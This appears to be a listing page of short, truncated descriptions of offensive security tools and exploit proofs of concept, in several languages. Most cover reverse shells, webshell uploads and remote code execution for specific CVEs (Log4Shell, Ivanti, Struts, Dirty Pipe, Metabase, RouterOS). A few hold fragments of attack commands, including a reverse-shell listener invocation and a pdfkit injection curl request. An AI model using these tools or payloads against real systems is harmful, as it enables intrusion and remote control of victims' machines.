CVE-2021-44228

CVE-2021-44228 Log4Shell Proof of Concept CVE-2021-44228 Make sure to use Java 8 JDK. Java 8 Download Images Credits Casey Dunham - Java Reverse Shell kozmer - Initial PoC Legal The author of this script does NOT take any responsibility of how this piece of code is used! This was created solely...

CVE-2025-0282-Ivanti-exploit

CVE-2025-0282-Ivanti-exploit CVE-2025-0282 是 Ivanti Connect Secure 中的一个严重漏洞，允许通过缓冲区溢出漏洞实现远程命令执行（RCE）。 该漏洞使攻击者能够上传恶意文件（如 Web Shell）并在目标系统上以提升的权限执行命令。 强烈建议将受影响的系统更新至最新版本，以减轻被利用的风险。 上传 Web Shell 要使用该工具向目标系统上传 Web Shell： root@kitploit: python3 CVE20250282Ivanti.py ：目标服务器的 IP 地址。 ：本地机器上 Web Shell 文件的路...

QuasarNix

QuasarNix: Detección de reverse shells Living-off-the-Land robusta frente a adversarios Dmitrijs Trizna · Luca Demetrio · Battista Biggio · Fabio Roli Resumen Las reverse shells living-off-the-land LOTL de Linux abusan de binarios legítimos bash, python, nc, … para establecer conexiones salientes...

pict

PICT - Post-Infection Collection Toolkit This set of scripts is designed to collect a variety of data from an endpoint thought to be infected, to facilitate the incident response process. This data should not be considered to be a full forensic data collection, but does capture a lot of useful...

hacker-scripts

Hacker Scripts 根据 真实故事 改编: xxx: 是这样的，我们的构建工程师离职去了另外一家公司，这货基本算是生活在终端里。 你知道么，这人热爱Vim，用Dot作图，甚至用MarkDown来写维基帖子...，如果有什么事情要花上他超过90秒，他一定会整个脚本来让这件事变得“自动化”。 xxx: 我们现在坐在他的工位上，看着他留下来的这些，呃，“遗产”？ xxx: 我觉得你们会喜欢这些的 xxx: smack-my-bitch-up.sh拍老婆马屁脚本 -...

DDexec

DDexec 新闻 我对 DDexec 进行了大量更新，以至于几乎认不出它了——ELF 的解析现在由机器码完成，而不是由 shell 脚本完成，这使得它更快、更可靠且更易于理解。同时，它的依赖数量也减少到了最低限度。 现在它几乎不依赖 shell 的算术运算，这可能使其能够在 Android 上工作。 背景 在 Linux 中，要运行一个程序，它必须作为一个文件存在，必须能够以某种方式通过文件系统层级访问（这就是 execve 的工作方式）。这个文件可以位于磁盘上或内存中（tmpfs、memfd），但你需要一个文件路径。这使得控制 Linux...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 subida de shell inversa Exploit para WpDiscuz 7.0.4 basado en el exploit escrito por h3v0x. Explota la vulnerabilidad y sube una shell PHP inversa. La inspiración fue el CTF Blogger. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

Apache-Struts-v4

Apache-Struts-v4 该脚本包含5种不同的漏洞，它们利用Apache Struts中的RCE类型漏洞。目前仅支持创建PHP shell的功能。 CVE 列表 CVE ID| 描述 ---|--- CVE-2013-2251| Apache Struts 2.0.0 至 2.3.15 允许远程攻击者通过带有精心构造的 1 action:、2 redirect: 或 3 redirectAction: 前缀的参数执行任意 OGNL 表达式。 CVE-2017-5638| Apache Struts 2 2.3.x 之前 2.3.32 和 2.5.x 之前 2.5.10.1 中的...

CVE-2022-0847-Exploit-Implementation

CVE-2022-0847 - Implementación del Exploit Esta es una prueba de concepto POC que muestra cómo obtener un shell inverso de bash para ejecución arbitraria de código en una máquina remota utilizando CVE-2022-0847, "Dirty Pipe Exploit". Esta vulnerabilidad solo afecta a las versiones del kernel de...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-漏洞利用-反弹Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' 通过 CURL（修改粗体 值）： curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

metabase-pre-auth-rce-poc

Metabase Pre-Auth RCE CVE-2023-38646 POC Este es un script escrito en Python que permite la explotación de la falla de seguridad del software Metabase descrita en CVE-2023-38646. El sistema es vulnerable en versiones anteriores a la 0.46.6.1 , en la edición de código abierto, y anteriores a la...

rustcat

rustcat - 现代端口监听器和反向Shell Rustcat是什么 Rustcat 是一个易于使用的端口监听器和反向Shell，支持Linux、MacOS和Windows，旨在简单易用且易于访问。 模式 监听模式 listen； 反向Shell模式 connect； 功能特性 命令历史与Tab补全（交互模式）； 阻止CTRL-C； 彩色输出； 一切简单； 安装 查看安装指南。或者如果你想便携使用，请查看最新发布 使用说明 最基本的监听端口示例为（你甚至可以在rustcat中运行vim）： root@kitploit: rcat listen -ib 55600 连接示例：...

ColdFusion_EXp

CVE-2023-29298/CVE-2023-26360漏洞利用反弹工具 简介 漏洞原理是我们构建CFML数据客户端请求的数据会保存到服务器的coldfusion-out.log，这个目录会记录请求的错误的信息，coldfusion-out.log文件里面就有我们写入的代码了，然后我们使用classname读取执行这个日志文件达到代码执行的效果 这边我有一个思路，就是通过把恶意的class放到服务器上面，然后下载保存调用这个class文件，调用通过上面的这个漏洞他会去动态的加载类，去调用执行我们的class文件 这个写一个脚本，这个脚本会生成一个压缩包，这个压缩包里面 压缩包code目...

nginxhack

这是一个利用名为 CVE-2013-2028 的漏洞来在运行 Nginx 1.3.9 或 1.4.0 的目标服务器上执行一个 绑定壳 的工具。 可以从 这里 下载（你需要从命令行运行它） 使用方法： nginxhack target target port target bind port...

DNS-Shell

DNS-shell DNS-Shell es un Shell interactivo a través del canal DNS. El servidor está basado en Python y puede ejecutarse en cualquier sistema operativo que tenga Python instalado, el payload es un comando de PowerShell codificado. Entendiendo DNS-Shell El payload se genera cuando se invoca el...

CVE-2022-22963-POC

CVE-2022-22963 Exploit Description In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local...

routeros-CVE-2018-14847-bytheway

By the Way By the Way 是一个漏洞利用工具，可以在运行 RouterOS 版本的 Mikrotik 设备上获取 root shell： Longterm: 6.30.1 - 6.40.7 Stable: 6.29 - 6.42.0 Beta: 6.29rc1 - 6.43rc3 该漏洞利用利用了路径遍历漏洞 CVE-2018-14847，提取管理员密码并创建一个“option”包以启用开发者后门。利用之后，攻击者可以使用 root 用户“devel”和管理员密码连接到 Telnet 或 SSH。 Mikrotik 在四月份修复了...

CVE-2024-24576-PoC

CVE-2024-24576 PoC Las APIs Command::arg y Command::args establecen en su documentación que los argumentos se pasarán al proceso iniciado tal cual, independientemente del contenido de los argumentos, y no serán evaluados por un shell. Esto significa que debería ser seguro pasar entradas no...

CVE-2019-18935-memShell

CVE-2019-18935-memShell 来源 CVE-2019-18935-Memshell 编译 root@kitploit: 1.Build https://github.com/A-D-Team/SharpMemshell/blob/main/VirtualPath/memshell.cs 2.Convert dll to byte array 3.Replace rawData in memShell.cpp 4.csc /target:module empty.cs 5.cl /c memShell.cpp 6.link /DLL /LTCG...

postshell

PostShell PostShell 是一个后渗透 shell，同时包含绑定 shell 和反向连接 shell。它创建一个完全交互式的 TTY，允许作业控制。生成的 stub 大小约为 14kb，可在任何类 Unix 系统上编译。 截图 连接启动后，横幅及与 shell 的交互界面。 为什么不使用传统的反向连接/绑定 Shell？ PostShell 使后渗透攻击更加容易，攻击者不再依赖 Python 和 Perl 等依赖项。它还同时集成了反向连接和绑定 shell，这意味着如果目标不允许出站连接，操作员可以简单地启动一个绑定 shell 并远程连接到该机器。此外，PostShell...